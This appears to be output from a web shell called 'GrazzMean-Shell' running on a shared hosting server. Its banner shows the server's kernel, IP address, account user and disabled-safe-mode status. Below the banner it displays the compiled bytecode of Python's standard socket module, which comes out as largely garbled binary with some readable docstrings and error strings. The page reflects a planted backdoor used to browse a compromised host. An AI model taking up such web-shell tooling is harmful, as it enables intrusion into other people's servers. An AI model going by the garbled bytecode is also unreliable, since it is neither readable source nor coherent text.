shell bypass 403

GrazzMean-Shell Shell

Uname: Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Software: LiteSpeed
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.213.251.212
Your Ip: 13.59.188.23
User: allssztx (535) | Group: allssztx (533)
Safe Mode: OFF
Disable Function:
NONE

name : socket.cpython-313.pyc
�

1}g���H�SrSSKrSSK7 SSKrSSKrSSKrSSKrSSKJrJr SSK	r	\"\	SS5r\"\	SS5r
\"\	S	S5r/S
Qr\R!\R""\55 \R$"S\S5 \R$"S
\S5 \R$"S\S5 \R$"S\S5 SrSrSr\R.R15R3S5(Ga�0rS\S'S\S'S\S'S\S'S\S 'S!\S"'S#\S$'S%\S&'S'\S('S)\S*'S+\S,'S-\S.'S/\S0'S1\S2'S3\S4'S5\S6'S7\S8'S9\S:'S;\S<'S=\S>'S?\S@'SA\SB'SC\SD'SE\SF'SG\SH'SI\SJ'SK\SL'SM\SN'SO\SP'SQ\SR'SS\ST'SU\SV'SW\SX'SY\SZ'S[\S\'S]\S^'S_\S`'Sa\Sb'Sc\Sd'Se\Sf'Sg\Sh'Si\Sj'Sk\Sl'Sm\Sn'So\Sp'Sq\Sr'Ss\St'Su\Sv'Sw\Sx'Sy\Sz'S{\S|'S}\S~'S\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'S�\S�'\R7S�5 "S�S�\5r"S�S�\R<5rS�S�jr\ "\R<S�5(aSSK!r!S�S�jr"\R7S�5 \ "\R<S�5(aSSK!r!S�S�jr#\R7S�5 \ "\R<S�5(aS�r$\R7S�5 \%\&S4S�jr'\ "\S�5(a	S\&S4S�jr(O\'r(\R7S�5 S�\(l\
\1r)"S�S�\RT5r+S�S�jr,\-"5r.\.S4S�S�.S�jjr/S�r0\%SS�S�S�.S�jr1S�S�jr2g!\
a Sr	GN�f=f)�a�This module provides socket operations and some related functions.
On Unix, it supports IP (Internet Protocol) and Unix domain sockets.
On other systems, it only supports IP. Functions specific for a
socket are available as methods of the socket object.

Functions:

socket() -- create a new socket object
socketpair() -- create a pair of new socket objects [*]
fromfd() -- create a socket object from an open file descriptor [*]
send_fds() -- Send file descriptor to the socket.
recv_fds() -- Receive file descriptors from the socket.
fromshare() -- create a socket object from data received from socket.share() [*]
gethostname() -- return the current hostname
gethostbyname() -- map a hostname to its IP number
gethostbyaddr() -- map an IP number or hostname to DNS info
getservbyname() -- map a service name and a protocol name to a port number
getprotobyname() -- map a protocol name (e.g. 'tcp') to a number
ntohs(), ntohl() -- convert 16, 32 bit int from network to host byte order
htons(), htonl() -- convert 16, 32 bit int from host to network byte order
inet_aton() -- convert IP addr string (123.45.67.89) to 32-bit packed format
inet_ntoa() -- convert 32-bit packed format IP to string (123.45.67.89)
socket.getdefaulttimeout() -- get the default timeout value
socket.setdefaulttimeout() -- set the default timeout value
create_connection() -- connects to an address, with an optional timeout and
                       optional source address.
create_server() -- create a TCP socket and bind it to a specified address.

 [*] not available on all platforms!

Special objects:

SocketType -- type object for socket objects
error -- exception raised for I/O errors
has_ipv6 -- boolean value indicating if IPv6 is supported

IntEnum constants:

AF_INET, AF_UNIX -- socket domains (first argument to socket() call)
SOCK_STREAM, SOCK_DGRAM, SOCK_RAW -- socket types (second argument)

Integer constants:

Many other constants may be defined; these may be used in calls to
the setsockopt() and getsockopt() methods.
�N)�*)�IntEnum�IntFlag�EBADF�	�EAGAIN��EWOULDBLOCK)�fromfd�getfqdn�create_connection�
create_server�has_dualstack_ipv6�
AddressFamily�
SocketKindrc�R�UR5=(a URS5$)N�AF_��isupper�
startswith��Cs �-/opt/alt/python313/lib64/python3.13/socket.py�<lambda>rO���!�)�)�+�5�!�,�,�u�"5�5�rc�R�UR5=(a URS5$)N�SOCK_rrs rrrTs��!�)�)�+�7�!�,�,�w�"7�7r�MsgFlagc�R�UR5=(a URS5$)N�MSG_rrs rrrYs��!�)�)�+�6�!�,�,�v�"6�6r�AddressInfoc�R�UR5=(a URS5$)N�AI_rrs rrr^rrz	127.0.0.1z::1c�8�U"U5$![a Us$f=f)zsConvert a numeric family value to an IntEnum member.

If it's not a known member, return the numeric value itself.
)�
ValueError)�value�
enum_klasss  r�_intenum_converterr)ds&��
��%� � �������s�
���winz)Specified event object handle is invalid.�zInsufficient memory available.�z#One or more parameters are invalid.�WzOverlapped operation aborted.i�z2Overlapped I/O event object not in signaled state.i�z)Overlapped operation will complete later.i�zThe operation was interrupted.i'zA bad file handle was passed.i'zPermission denied.i'z!A fault occurred on the network??i'z#An invalid operation was attempted.i&'zToo many open files.i('z!The socket operation would block.i3'z,A blocking operation is already in progress.i4'zOperation already in progress.i5'zSocket operation on nonsocket.i6'zDestination address required.i7'zMessage too long.i8'zProtocol wrong type for socket.i9'zBad protocol option.i:'zProtocol not supported.i;'zSocket type not supported.i<'zOperation not supported.i='zProtocol family not supported.i>'z0Address family not supported by protocol family.i?'zThe network address is in use.i@'z Cannot assign requested address.iA'zNetwork is down.iB'zNetwork is unreachable.iC'z$Network dropped connection on reset.iD'z!Software caused connection abort.iE'zThe connection has been reset.iF'zNo buffer space available.iG'zSocket is already connected.iH'zSocket is not connected.iI'zThe network has been shut down.iJ'zToo many references.iK'zThe operation timed out.iL'zConnection refused.iM'zCannot translate name.iN'zThe name is too long.iO'zThe host is down.iP'zThe host is unreachable.iQ'zDirectory not empty.iR'zToo many processes.iS'zUser quota exceeded.iT'zDisk quota exceeded.iU'zStale file handle reference.iV'zItem is remote.iW'z!Network subsystem is unavailable.ik'z!Winsock.dll version out of range.il'z(Successful WSAStartup not yet performed.im'zGraceful shutdown in progress.iu'z*No more results from WSALookupServiceNext.iv'zCall has been canceled.iw'z Procedure call table is invalid.ix'zService provider is invalid.iy'z&Service provider failed to initialize.iz'zSystem call failure.i{'zService not found.i|'zClass type not found.i}'i~'zCall was canceled.i'zDatabase query was refused.i�'zHost not found.i�*z Nonauthoritative host not found.i�*zThis is a nonrecoverable error.i�*z*Valid name, no data record requested type.i�*zQoS receivers.i�*zQoS senders.i�*zNo QoS senders.i�*zQoS no receivers.i+zQoS request confirmed.i+zQoS admission error.i+zQoS policy failure.i+zQoS bad style.i+zQoS bad object.i+zQoS traffic control error.i+zQoS generic error.i+zQoS service type error.i+zQoS flowspec error.i	+zInvalid QoS provider buffer.i
+zInvalid QoS filter style.i+i+zIncorrect QoS filter count.i
+zInvalid QoS object length.i+zIncorrect QoS flow count.i+zUnrecognized QoS object.i+zInvalid QoS policy object.i+zInvalid QoS flow descriptor.i+z'Invalid QoS provider-specific flowspec.i+z)Invalid QoS provider-specific filterspec.i+z&Invalid QoS shape discard mode object.i+z Invalid QoS shaping rate object.i+z!Reserved policy QoS element type.i+�errorTabc��\rSrSrSrg)�_GiveupOnSendfile���N)�__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r2rrr0r0�s��Drr0c�r^�\rSrSrSr/SQrS"SjrSrSrSr	S	r
S
rSrS#SSSS.S
jjr
\"\S5(aS$SjrOS$SjrS$SjrSrS$SjrSr\R,4SjrSrU4Sjr\U4Sj5r\U4Sj5r\R:S:XaSrSrOSrSrS\lS \lS!r U=r!$)%�socket��z:A subclass of _socket.socket adding the makefile() method.)�__weakref__�_io_refs�_closedNc��Uc US:Xa[nUS:Xa[nUS:XaSn[RR	XX#U5 SUlSUlg)N���rF)�AF_INET�SOCK_STREAM�_socketr9�__init__r<r=)�self�family�type�proto�filenos     rrC�socket.__init__�sQ��
�>���|� ���r�z�"����{���������d�6�B���
���rc��U$�Nr2�rDs r�	__enter__�socket.__enter__�s���rc�H�UR(dUR5 ggrK)r=�close)rD�argss  r�__exit__�socket.__exit__�s���|�|��J�J�L�rc��[USS5nSURRURRU(aSOSUR	5UR
URUR4-nU(dRUR5nU(aUS[U5--
nUR5nU(aUS[U5--
nUS-
nU$![[4a NBf=f![[4a N/f=f)	zFWrap __repr__() to reveal the real class name and socket
address(es).
r=Fz,<%s.%s%s fd=%i, family=%s, type=%s, proto=%iz	 [closed]�z
, laddr=%sz
, raddr=%s�>)
�getattr�	__class__r4r5rHrErFrG�getsockname�str�error�AttributeError�getpeername)rD�closed�s�laddr�raddrs     r�__repr__�socket.__repr__�s�����y�%�0��:��~�~�(�(��~�~�*�*�$�{�"��{�{�}��{�{��y�y��z�z�
�
���
��(�(�*������E�
�2�2�A�
��(�(�*������E�
�2�2�A�	
�S�������>�*�
��
���>�*�
��
�s$�?(C�((C-�C*�)C*�-D�?Dc�J�[SURR<S35e)Nzcannot pickle z object)�	TypeErrorrXr3rLs r�__getstate__�socket.__getstate__s!���.����)@�)@�(C�7�K�L�Lrc���[UR55nURURURUR
US9nUR
UR55 U$)z�dup() -> socket object

Duplicate the socket. Return a new socket object connected to the same
system resource. The new socket is non-inheritable.
�rH)�duprHrXrErFrG�
settimeout�
gettimeout)rD�fd�socks   rrj�
socket.dupsN�������
���~�~�d�k�k�4�9�9�d�j�j��~�L��������)�*��rc���UR5up[URURURUS9n[5c&UR
5(aURS5 X24$)z�accept() -> (socket object, address info)

Wait for an incoming connection.  Return a new socket
representing the connection, and the address of the client.
For IP sockets, the address info is a pair (hostaddr, port).
riT)�_acceptr9rErFrG�getdefaulttimeoutrl�setblocking)rDrm�addrrns    r�accept�
socket.accept sZ���<�<�>����d�k�k�4�9�9�d�j�j��D����&�4�?�?�+<�+<����T�"��z�r)�encoding�errors�newlinec��[U51Sk::d[SU<S35eSU;nSU;=(d U(+nU(d	U(deSU;nSn	U(aU	S-
n	U(aU	S-
n	[X	5n
U=RS-
slUcS	nUS
:a[R
nUS
:XaU(d[S5eU
$U(aU(a[R"X�U5nO=U(a[R"X�5nOU(de[R"X�5nU(aU$[R"U5n[R"X�XE5nXlU$)z�makefile(...) -> an I/O stream connected to the socket

The arguments are as for io.open() after the filename, except the only
supported mode values are 'r' (default), 'w', 'b', or a combination of
those.
>�b�r�wz
invalid mode z (only r, w, b allowed)r}r|r{rU�r?rz!unbuffered streams must be binary)�setr&�SocketIOr<�io�DEFAULT_BUFFER_SIZE�BufferedRWPair�BufferedReader�BufferedWriter�
text_encoding�
TextIOWrapper�mode)
rDr��	bufferingrwrxry�writing�reading�binary�rawmode�raw�buffer�texts
             r�makefile�socket.makefile0s-���4�y�O�+���O�P�P���+����+�,�W����'�!�!���������s�N�G���s�N�G��t�%���
�
���
����I��q�=��.�.�I���>�� �!D�E�E��J��w��&�&�s��;�F�
��&�&�s�6�F��N�7��&�&�s�6�F���M��#�#�H�-������&�B���	��r�sendfilec��URXU5 UR5nUR5n[R"U5RnU(dg[U=(d US5nUR5n	U	S:Xa[S5e[[S5(a[R"5n
O[R "5n
U
R#U[R$5 SnU
R&n[R(n
U	(aU"U	5(d[+S5eU(a[X;-
U5nUS::aOU
"XEX(5nUS:XaO
X.-
nX�-
nMVUUS:�a$[US5(aUR/U5 $$$![[R4an[U5eSnAff=f![an[U5eSnAff=f![,a U	(dU"5 M�[anUS:Xa[U5eUSeSnAff=f!US:�a$[US5(aUR/U5 fff=f)Nri@�&non-blocking sockets are not supported�PollSelectorz	timed out�seek)�_check_sendfile_paramsrHr\r��UnsupportedOperationr0�os�fstat�st_size�OSError�minrlr&�hasattr�	selectorsr��SelectSelector�register�EVENT_WRITE�selectr��TimeoutError�BlockingIOErrorr�)rD�file�offset�count�socknorH�err�fsize�	blocksize�timeout�selector�
total_sent�selector_select�os_sendfile�sents               r�_sendfile_use_sendfile�socket._sendfile_use_sendfile^s���'�'��e�<��[�[�]�F�
-������
-�����(�0�0�����E�N�U�G�4�I��o�o�'�G��!�|� �!I�J�J��y�.�1�1�$�1�1�3��$�3�3�5�����f�i�&;�&;�<��J�&�o�o�O��+�+�K� 
&����w�'?�'?�*�;�7�7��$'��(:�I�$F�	�$��>�!�+�*�6�6�M��  �1�9�!����"�*�
�7�8"���>�g�d�F�&;�&;��I�I�f�%�'<�>��s#�B�$;�$;�<�
-�'��,�,��
-���
-�'��,�,��
-��@+�!�&�,�-� �"�,�%��?�
#4�C�"8�8�!�t�+��,����>�g�d�F�&;�&;��I�I�f�%�'<�>�sj�F� G�<H�	G�H�F?�/F:�:F?�
G�G�G�H�7H�:	H�H�H�H�,Ic��[S5e)Nz,os.sendfile() not available on this platform)r0�rDr�r�r�s    rr�r��s��#�>�@�
@rc��URXU5 UR5S:Xa[S5eU(aURU5 U(a[	US5OSnSnUR
nURnU(a[	X5-
U5nUS::aO@[U"U55nU(dO'U"U5n	XY-
nU	[U5:aX�SnOOM$M\UUS:�a&[US5(aURX%-5 $$$![a Mbf=f!US:�a&[US5(aURX%-5 fff=f)Nrr�i r�)r�rlr&r�r��read�send�
memoryview�lenr�r�)
rDr�r�r�r�r��	file_read�	sock_send�datar�s
          r�_sendfile_use_send�socket._sendfile_use_send�sG���#�#�D�%�8��?�?���!��E�F�F���I�I�f��(-�C��t�$�4�	��
��I�I�	��I�I�	�	/��� #�E�$6�	� B�I� �A�~��!�)�I�"6�7�����	"�(����#�*�
��#�d�)�+�#'��;�D�!���&��A�~�'�$��"7�"7��	�	�&�-�.�#8�~��+�!� �!���A�~�'�$��"7�"7��	�	�&�-�.�#8�~�s0�:7D�2D�:D�
D�D�D�D�.Ec�(�S[USS5;a[S5eUR[-(d[S5eUbP[	U[
5(d[
SRU55eUS::a[SRU55egg)Nr{r�z$file should be opened in binary modez+only SOCK_STREAM type sockets are supportedz+count must be a positive integer (got {!r})r)rWr&rFrA�
isinstance�intre�formatr�s    rr��socket._check_sendfile_params�s����g�d�F�C�0�0��C�D�D��y�y�;�&��J�K�K����e�S�)�)��A�H�H��O�Q�Q���z� �A�H�H��O�Q�Q��	rc�l�URXU5$![a URXU5s$f=f)a�sendfile(file[, offset[, count]]) -> sent

Send a file until EOF is reached by using high-performance
os.sendfile() and return the total number of bytes which
were sent.
*file* must be a regular file object opened in binary mode.
If os.sendfile() is not available (e.g. Windows) or file is
not a regular file socket.send() will be used instead.
*offset* tells from where to start reading the file.
If specified, *count* is the total number of bytes to transmit
as opposed to sending the file until EOF is reached.
File position is updated on return or also in case of error in
which case file.tell() can be used to figure out the number of
bytes which were sent.
The socket must be of SOCK_STREAM type.
Non-blocking sockets are not supported.
)r�r0r�r�s    rr��socket.sendfile�s?��$	@��.�.�t�U�C�C�� �	@��*�*�4��?�?�	@�s��3�3c��URS:�aU=RS-slUR(aUR5 gg)Nrr~)r<r=rPrLs r�_decref_socketios�socket._decref_socketios�s1���=�=�1���M�M�Q��M��<�<��J�J�L�rc�&�URU5 grK)rP)rD�_sss  r�_real_close�socket._real_close�s
���	�	�$�rc�T�SUlURS::aUR5 gg)NTr)r=r<r�rLs rrP�socket.close�s&������=�=�A������rc�.>�SUl[TU]	5$)z�detach() -> file descriptor

Close the socket object without closing the underlying file descriptor.
The object cannot be used after this call, but the file descriptor
can be reused for other purposes.  The file descriptor is returned.
T)r=�super�detach�rDrXs �rr��
socket.detach�s�������w�~��rc�4>�[[TU][5$)z@Read-only access to the address family for this socket.
        )r)r�rErr�s �rrE�
socket.familys���"�%�'�.�-�@�@rc�4>�[[TU][5$)z-Read-only access to the socket type.
        )r)r�rFrr�s �rrF�socket.types���"�%�'�,�
�;�;r�ntc�J�[R"UR55$rK)r��get_handle_inheritablerHrLs r�get_inheritable�socket.get_inheritables���,�,�T�[�[�]�;�;rc�N�[R"UR5U5 grK)r��set_handle_inheritablerH�rD�inheritables  r�set_inheritable�socket.set_inheritables���%�%�d�k�k�m�[�Arc�J�[R"UR55$rK)r�r�rHrLs rr�r�s���%�%�d�k�k�m�4�4rc�N�[R"UR5U5 grK)r�r�rHr�s  rr�r�s�����t�{�{�}�k�:rz&Get the inheritable flag of the socketz&Set the inheritable flag of the socket)r=r<)r?r?r?N)r|N�rN)"r3r4r5r6�__doc__�	__slots__rCrMrRrbrfrjrur�r�r�r�r�r�r�r�rBr9r�rPr��propertyrErF�namer�r�r7�
__classcell__�rXs@rr9r9�s����D�6�I�� ���<M�	�� *��t�T�*�X�r�:���?	&�B	@�"/�HQ�@�.�&�n�n��� ��A��A�
�<��<�

�w�w�$��	<�	B�	5�	;�F�O��F�O��rr9c�0�[U5n[XX45$)z�fromfd(fd, family, type[, proto]) -> socket object

Create a socket object from a duplicate of the given file
descriptor.  The remaining arguments are the same as for socket().
)rjr9)rmrErFrG�nfds     rrrs���b�'�C��&��+�+r�sendmsgc	��URU[R[R[R"SU54/5$)z{send_fds(sock, buffers, fds[, flags[, address]]) -> integer

Send the list of file descriptors fds over an AF_UNIX socket.
�i)r�rB�
SOL_SOCKET�
SCM_RIGHTS�array)rn�buffers�fds�flags�addresss     r�send_fdsr�*s?��
�|�|�G�w�'9�'9�������C�� 5�'7�&8�9�	9rr��recvmsgc	��[R"S5nURU[R"X$R-55upVp7UHhup�n
U[R
:XdMU	[R:XdM2URU
S[U
5[U
5UR--
5 Mj U[U5X74$)z�recv_fds(sock, bufsize, maxfds[, flags]) -> (data, list of file
descriptors, msg_flags, address)

Receive up to maxfds file descriptors returning the message
data and a list containing the descriptors.
r�N)
r�r�rB�CMSG_LEN�itemsizer�r��	frombytesr��list)rn�bufsize�maxfdsr�r��msg�ancdatart�
cmsg_level�	cmsg_type�	cmsg_datas           r�recv_fdsr	6s����k�k�#���$(�L�L�����V�l�l�2�3�%5�!��e�07�,�J�9��g�0�0�0�Y�'�BT�BT�5T��
�
�i�)I��I��#�i�.�3�<�<�*G�H�J�K�18�
�D��I�u�*�*rr	�sharec��[SSSU5$)znfromshare(info) -> socket object

Create a socket object from the bytes object returned by
socket.share(pid).
r)r9)�infos r�	fromsharer
Js���a��A�t�$�$rr
c�r�U[:Xa[nOU[:Xa[nO[	S5eU[
:wa[	S5eUS:wa[	S5e[
XU5nURUS45 UR5 UR5SSupV[
XU5nURS5 URXV45 URS5 UR5up�UR5 UR5UR!5:wd"UR5UR!5:wa[#S5eX�4$![[4a N�f=f! UR5 e=f!UR5 f=f! UR5 UR5 e=f)	Nz?Only AF_INET and AF_INET6 socket address families are supportedz)Only SOCK_STREAM socket type is supportedrzOnly protocol zero is supported�FTzUnexpected peer connection)r@�
_LOCALHOST�AF_INET6�
_LOCALHOST_V6r&rAr9�bind�listenrYrs�connectr��InterruptedErrorrurPr]�ConnectionError)
rErFrG�host�lsockrt�port�csock�ssock�_s
          r�_fallback_socketpairrVs���
�����	�8�	����)�*�	*��{���D�E�E���z��:�;�;�
�6��'�E��
�
�
�D�!�9��
�����&�&�(��!�,�
���v�U�+��
	����e�$�
��
�
�t�l�+�
���d�#��|�|�~�H�E�1�
	���
�
�����5�#4�#4�#6�6�� � �"�e�&7�&7�&9�9�!�">�?�?�:�
�>���5$�%5�6�
��
��	��K�K�M���
���
���	���
�
���
�
�sP�!AE>�&E(�8E�
#E(�?AF�E%�"E(�$E%�%E(�(E;�;E>�>F�#F6�
socketpairc���Uc[n[R"XU5up4[XX#R
55n[XX$R
55nX44$![a	 [nNbf=frK)�AF_UNIX�	NameErrorr@rBrr9r�)rErFrG�ar{s     rrr�sh���>�
!� ���!�!�&��6����6����
�3���6����
�3���t����
!� ��
!�s�A�A.�-A.a8socketpair([family[, type[, proto]]]) -> (socket object, socket object)
Create a pair of socket objects from the sockets returned by the platform
socketpair() function.
The arguments are the same as for socket() except the default family is AF_UNIX
if defined on the platform; otherwise, the default is AF_INET.
c�v^�\rSrSrSrSrSrSrSrSr	U4Sjr
S	r\S
5r
\S5rSrS
rU=r$)r�i�z�Raw I/O implementation for stream sockets.

This class supports the makefile() method on sockets.  It provides
the raw I/O interface on top of a socket object.
c���US;a[SU-5e[RRU5 XlSU;aUS-
nX lSU;UlSU;UlSUlg)N)r|r}�rw�rb�wb�rwbzinvalid mode: %rr{r|r}F)	r&r��	RawIOBaserC�_sock�_mode�_reading�_writing�_timeout_occurred)rDrnr�s   rrC�SocketIO.__init__�sf���:�:��/�$�6�7�7�
�����d�#��
��d�?��C�K�D��
��t���
��t���
�!&��rc�,�UR5 UR5 UR(a[S5eURRU5$![a	 SUle[anUR[;aSnAgeSnAff=f)aRead up to len(b) bytes into the writable buffer *b* and return
the number of bytes read.  If the socket is non-blocking and no bytes
are available, None is returned.

If *b* is non-empty, a 0 return value indicates that the connection
was shutdown at the other end.
z!cannot read from timed out objectTN)
�_checkClosed�_checkReadabler/r�r+�	recv_intor�r[�errno�_blocking_errnos�rDr{�es   r�readinto�SocketIO.readinto�s���	
���������!�!��=�>�>�	��:�:�'�'��*�*���	�%)�D�"���	��w�w�*�*����	�s�A�B�4B�
B�Bc���UR5 UR5 URRU5$![anUR
[;aSnAgeSnAff=f)z�Write the given bytes or bytearray object *b* to the socket
and return the number of bytes written.  This can be less than
len(b) if not all data could be written.  If the socket is
non-blocking and no bytes could be written None is returned.
N)r2�_checkWritabler+r�r[r5r6r7s   r�write�SocketIO.write�sW��	
��������	��:�:�?�?�1�%�%���	��w�w�*�*����		�s�=�
A&�A!� A!�!A&c�R�UR(a[S5eUR$)z2True if the SocketIO is open for reading.
        �I/O operation on closed socket.)r^r&r-rLs r�readable�SocketIO.readable��!���;�;��>�?�?��}�}�rc�R�UR(a[S5eUR$)z2True if the SocketIO is open for writing.
        r@)r^r&r.rLs r�writable�SocketIO.writable�rCrc�X>�UR(a[S5e[TU]
5$)z2True if the SocketIO is open for seeking.
        r@)r^r&r��seekabler�s �rrH�SocketIO.seekable�s&����;�;��>�?�?��w��!�!rc�V�UR5 URR5$)z=Return the file descriptor of the underlying socket.
        )r2r+rHrLs rrH�SocketIO.fileno�s#��	
�����z�z� � �"�"rc�F�UR(dUR5$g)Nr?)r^rHrLs rr��
SocketIO.names���{�{��;�;�=� �rc��UR$rK)r,rLs rr��
SocketIO.mode
s���z�z�rc��UR(ag[RRU5 URR5 SUlg)zwClose the SocketIO object.  This doesn't close the underlying
socket, except if all references to it have disappeared.
N)r^r�r*rPr+r�rLs rrP�SocketIO.closes7���;�;��
�����4� ��
�
�$�$�&���
r)r,r-r+r/r.)r3r4r5r6r�rCr9r=rArErHrHr�r�r�rPr7r�r�s@rr�r��s]����
'��,� ��"�#����������rr�c���UR5nU(aUS;a
[5n[U5upnURSU5 UHnSU;dM U$ UnU$![a U$f=f)abGet fully qualified domain name from name.

An empty argument is interpreted as meaning the local host.

First the hostname returned by gethostbyaddr() is checked, then
possibly existing aliases. In case no FQDN is available and `name`
was given, it is returned unchanged. If `name` was empty, '0.0.0.0' or '::',
hostname from gethostname() is returned.
)z0.0.0.0z::r�.)�strip�gethostname�
gethostbyaddr�insertr[)r��hostname�aliases�ipaddrss    rrrs����:�:�<�D��4�,�,��}��
�%2�4�%8�"��7�	���q�(�#��D��d�{���K���D��K���
���K�
�s�A � 
A.�-A.F)�
all_errorsc�V�UupE/n[XES[5HmnUup�p�nSn
[X�U
5n
U[LaU
R	U5 U(aU
RU5 U
R
U5 UR5 U
s $ [U5(aU(dUSe[SU5e[S5e![aLnU(dUR5 URU5 U
bU
R5 SnAM�SnAM�SnAff=f!UR5 f=f)a�Connect to *address* and return the socket object.

Convenience function.  Connect to *address* (a 2-tuple ``(host,
port)``) and return the socket object.  Passing the optional
*timeout* parameter will set the timeout on the socket instance
before attempting to connect.  If no *timeout* is supplied, the
global default timeout setting returned by :func:`getdefaulttimeout`
is used.  If *source_address* is set it must be a tuple of (host, port)
for the socket to bind as a source address before making the connection.
A host of '' or port 0 tells the OS to use the default. When a connection
cannot be created, raises the last error if *all_errors* is False,
and an ExceptionGroup of all errors if *all_errors* is True.
rNzcreate_connection failedz!getaddrinfo returns an empty list)
�getaddrinforAr9�_GLOBAL_DEFAULT_TIMEOUTrkrr�clearr[�appendrPr��ExceptionGroup)r�r��source_addressr[rr�
exceptions�res�af�socktyperG�	canonname�sarn�excs               rr
r
6s�� �J�D��J��4�q�+�6��-0�*��e����	��"��.�D��5�5�����(���	�	�.�)��L�L��������K�7�*�:���	�� ��m�#� �!;�Z�H�H�
�7�8�8��!�	��� � �"����c�"����
�
��� ��		��
����s$�A B=�D�=
D�;D�D�D(c�&�[(a*[[S5(a[[S5(dg[[[
5nUR
[[S5 SSS5 g!,(df   g=f![a gf=f)z�Return True if the platform supports creating a SOCK_STREAM socket
which can handle both AF_INET and AF_INET6 (IPv4 / IPv6) connections.
�IPPROTO_IPV6�IPV6_V6ONLYFrNT)
�has_ipv6r�rBr9rrA�
setsockoptrkrlr[)rns rrrisi���8��7�N�3�3��7�M�2�2���
�H�k�
*�d��O�O�L�+�q�9��+�
*�
*������s/�B�A2�)B�2
B�<B�B�
B�B)rE�backlog�
reuse_port�dualstack_ipv6c���U(a [[S5(d[S5eU(a/[5(d[S5eU[:wa[S5e[U[5n[RS;a1[[S5(aUR[[S5 U(aUR[[S5 [(arU[:XahU(aUR[[ S5 OE[[S	5(a0[[S
5(aUR[[ S5 UR#U5 UcUR)5 U$UR)U5 U$![a N�f=f![a0nUR$<SU<S3n[UR&U5S
eS
nAff=f![a UR+5 ef=f)a�Convenience function which creates a SOCK_STREAM type socket
bound to *address* (a 2-tuple (host, port)) and return the socket
object.

*family* should be either AF_INET or AF_INET6.
*backlog* is the queue size passed to socket.listen().
*reuse_port* dictates whether to use the SO_REUSEPORT socket option.
*dualstack_ipv6*: if true and the platform supports it, it will
create an AF_INET6 socket able to accept both IPv4 or IPv6
connections. When false it will explicitly disable this option on
platforms that enable it by default (e.g. Linux).

>>> with create_server(('', 8000)) as server:
...     while True:
...         conn, addr = server.accept()
...         # handle new connection
�SO_REUSEPORTz+SO_REUSEPORT not supported on this platformz-dualstack_ipv6 not supported on this platformz'dualstack_ipv6 requires AF_INET6 family)r��cygwin�SO_REUSEADDRr~rrlrkz& (while attempting to bind on address �)N)r�rBr&rrr9rAr�r�rnr�rur[rsrmrkrlr�strerrorr5rrP)r�rErorprqrnr�rs        rrrys���&�'�'�>�:�:��F�G�G��!�#�#��L�M�M��X���F�G�G��&�+�&�D�'��7�7�*�*����0�0�
����
�L�!�<�
��O�O�J��a�8��8��(�*������k�1�=���-�0�0��G�^�4�4�����k�1�=�	2��I�I�g��
�?��K�K�M���
�K�K�� ����-�
��
���	2����w�(�C���	�	�3�'�T�1��	2�����
�
��
��s[�/)G�F
�4BG�F�%G�:G�
F�G�F�G�
G�'+G�G�G�G6c��/n[R"XX#XE5H:nUup�pJnUR[U[5[U	[
5XJU45 M< U$)a�Resolve host and port into list of address info entries.

Translate the host/port argument into a sequence of 5-tuples that contain
all the necessary arguments for creating a socket connected to that service.
host is a domain name, a string representation of an IPv4/v6 address or
None. port is a string service name such as 'http', a numeric port number or
None. By passing None as the value of host and port, you can pass NULL to
the underlying C API.

The family, type and proto arguments can be optionally specified in order to
narrow the list of addresses returned. Passing zero as a value for each of
these arguments selects the full range of results.
)rBr]r`r)rr)rrrErFrGr��addrlistrdrerfrgrhs            rr]r]�s`�� �H��"�"�4�v�U�J��-0�*��e�����+�B�
�>�+�H�j�A��2�/�	0�K�
�Or)rr�)rU)rrrr)3r�rBr��sysr�r��enumrrr5�ImportErrorrWrrr
�__all__�extend�_get_exports_list�	_convert_r3rrr)�platform�lowerrr.r`�	Exceptionr0r9rr�r�r�r	r
r@rArrr6r*r�r�objectr^r
rrr]r2rr�<module>r�s���.�`����!���	��w��"��	���"�	%���e�]�B�/��@�����r�#�#�G�,�-������5�7�
�����7�9�
�����6�8�
�����5�7�
�
��
���<�<����"�"�5�)�)��H�=�H�Q�K�2�H�Q�K�8�H�R�L�3�H�S�M�H�H�S�M�?�H�S�M�6�H�U�O�5�H�U�O�*�H�U�O�9�H�U�O�;�H�U�O�,�H�U�O�9�H�U�O�D�H�U�O�6�H�U�O�6�H�U�O�5�H�U�O�)�H�U�O�7�H�U�O�,�H�U�O�/�H�U�O�2�H�U�O�0�H�U�O�6�H�U�O�H�H�U�O�6�H�U�O�8�H�U�O�(�H�U�O�/�H�U�O�<�H�U�O�9�H�U�O�6�H�U�O�2�H�U�O�4�H�U�O�0�H�U�O�7�H�U�O�,�H�U�O�0�H�U�O�+�H�U�O�.�H�U�O�-�H�U�O�)�H�U�O�0�H�U�O�,�H�U�O�+�H�U�O�,�H�U�O�,�H�U�O�4�H�U�O�'�H�U�O�9�H�U�O�9�H�U�O�@�H�U�O�6�H�U�O�B�H�U�O�/�H�U�O�8�H�U�O�4�H�U�O�>�H�U�O�,�H�U�O�*�H�U�O�-�H�U�O�B�H�U�O�*�H�U�O�3�H�U�O�'�H�U�O�8�H�U�O�7�H�U�O�B�H�U�O�&�H�U�O�$�H�U�O�'�H�U�O�)�H�U�O�.�H�U�O�,�H�U�O�+�H�U�O�&�H�U�O�'�H�U�O�2�H�U�O�*�H�U�O�/�H�U�O�+�H�U�O�4�H�U�O�1�H�U�O�1�H�U�O�3�H�U�O�2�H�U�O�1�H�U�O�0�H�U�O�2�H�U�O�4�H�U�O�?�H�U�O�A�H�U�O�>�H�U�O�8�H�U�O�9�H�U�O��N�N�:��)�	�(�EG�W�^�^�EG�N
,��7�>�>�9�%�%��9��N�N�:��
�7�>�>�9�%�%��+�"�N�N�:��
�7�>�>�7�#�#�%��N�N�;��
!(�k��4�l�7�L�!�!��[��	�&�J��N�N�<� ��
���[�*��q�r�|�|�q�h�6!�(��'>�%)�09�9>�09�f
� &-�d�u�!&�B�J��E���E��s�P�P!� P!
